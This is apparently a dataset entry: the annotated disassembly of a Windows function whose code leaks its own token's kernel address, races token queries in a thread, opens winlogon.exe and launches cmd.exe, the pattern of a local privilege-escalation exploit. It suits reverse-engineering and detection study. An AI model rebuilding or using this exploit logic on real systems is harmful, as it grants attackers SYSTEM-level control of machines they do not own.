Function at 0x140001250
Capabilities:
Create thread
Enumerate processes

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r15
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov r12d, ecx
mov r15, rdx
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryInformationToken
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005690], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [0x140005678]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rdi, qword [0x140005678]
lea rcx, [0x140003330]
mov dword [0x140005078], 4
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
inc dword [0x140005078]
lea rdx, str.NtQuerySystemInformation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x140005078]
mov rsi, rax
inc ecx
test rax, rax
jne 0x140001580
lea eax, [rcx + 1]
lea rcx, str.GetProcAddress___failed._n
mov dword [0x140005078], eax
call fcn.140001010
xor ebp, ebp
mov rbx, rbp
mov rdx, qword [0x140005678]
lea rcx, str.hToken:__x__kTokenAddr:__p_n
mov qword [rsp + 0x2c0], r13
mov r8, rbx
mov qword [rsp + 0x2d0], r14
mov qword [0x140005670], rbx
call fcn.140001010
mov edx, 0x1000
xor ecx, ecx
mov r8d, edx
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x140005680], rax
test rax, rax
je 0x140001706
mov rcx, qword [0x140005678]
lea r13, [0x14000568c]
mov r9d, 0x1000
mov qword [rsp + 0x20], r13
mov r8, rax
mov edx, 0x16
mov r14d, 9
call qword [0x140005690]
test eax, eax
mov rax, qword [0x140005680]
jne 0x1400013e9
mov rdx, qword [rax + 0x50]
mov r14d, 0xb
cmp dword [rdx], 0
je 0x1400013e9
mov rdx, qword [rdx + 8]
mov r14d, 0xd
test rdx, rdx
je 0x1400013e9
sub edx, eax
lea rcx, str.Found_target_offset_value:_0x_x_n
add edx, 0x20
mov r14d, 0xf
mov dword [0x140005688], edx
call fcn.140001010
mov rax, qword [0x140005680]
mov ecx, dword [0x140005688]
test ecx, ecx
je 0x140001706
lea rdx, [rax + rcx]
lea rcx, str.Target_address__0x_llx_n
mov qword [0x140005668], rdx
call fcn.140001010
add dword [0x140005078], 3
xor edx, edx
mov ecx, 2
mov dword [rsp + 0x40], 0x238
inc r14d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x40]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x1400014b9
inc dword [0x140005078]
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x1400014b9
lea rdi, str.winlogon.exe
mov edx, dword [0x140005078]
lea r8, [rsp + 0x6c]
inc edx
mov rax, 0xffffffffffffffff
mov dword [0x140005078], edx
nop dword [rax]
movzx ecx, word [r8 + rax*2 + 2]
cmp cx, word [rdi + rax*2 + 2]
jne 0x1400014a6
add rax, 2
cmp rax, 0xd
je 0x140001668
movzx ecx, word [r8 + rax*2]
cmp cx, word [rdi + rax*2]
je 0x140001480
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140001463
mov esi, dword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
mov qword [rsp + 0x28], rbp
lea r8, [0x140001210]
xor r9d, r9d
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xf
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ebx, 0x1388
mov r8, qword [0x140005680]
mov r9d, 0x1000
mov rcx, qword [0x140005678]
mov edx, 0x16
mov qword [rsp + 0x20], r13
call qword [0x140005690]
sub rbx, 1
jne 0x140001503
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
add r14d, 4
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400014d0
mov rdx, rax
lea rcx, str.Got_Winlogon_handle:_0x_x_n
call fcn.140001010
mov rcx, rbx
cmp r12d, 1
jle 0x14000167a
mov rdx, qword [r15 + 8]
jmp 0x140001681
mov eax, 0x14
nop word [rax + rax]
inc ecx
add eax, eax
mov dword [0x140005078], ecx
mov ecx, 0x40
mov edx, eax
mov dword [rsp + 0x30], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
inc dword [0x140005078]
mov rdx, rax
mov ecx, 0x40
mov rbx, rax
call rsi
cmp eax, 0xc0000004
jne 0x1400015db
mov eax, dword [rsp + 0x30]
mov ecx, dword [0x140005078]
jmp 0x140001590
test eax, eax
je 0x1400015f8
inc dword [0x140005078]
lea rcx, str.NtQuerySystemInformation_failed_with_error_code_0x_X_n
mov edx, eax
call fcn.140001010
jmp 0x140001317
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r9, qword [rbx]
xor ebp, ebp
mov r10d, eax
mov edx, ebp
test r9, r9
je 0x140001319
mov r8d, dword [0x140005078]
lea rcx, [rbx + 0x18]
nop dword [rax]
mov rbx, qword [rcx - 8]
add r8d, 4
mov dword [0x140005078], r8d
cmp dword [rcx], r10d
jne 0x14000163a
cmp qword [rcx + 8], rdi
je 0x14000164d
inc edx
add rcx, 0x28
movsxd rax, edx
cmp rax, r9
jb 0x140001620
jmp 0x140001319
lea eax, [r8 + 1]
lea rcx, str.Found_object__n
mov dword [0x140005078], eax
call fcn.140001010
jmp 0x14000131c
mov esi, dword [rsp + 0x48]
lea eax, [rdx + 1]
mov dword [0x140005078], eax
jmp 0x1400014bd
lea rdx, str.C:Windows_system32cmd.exe
call fcn.140001070
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, r14d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001750]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, dword [0x140005074]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001750]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, dword [0x140005078]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001750]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140005678]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000170b
mov eax, 0xffffffff
mov r14, qword [rsp + 0x2d0]
mov r13, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400017a0
mov rbx, qword [rsp + 0x2d8]
add rsp, 0x290
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret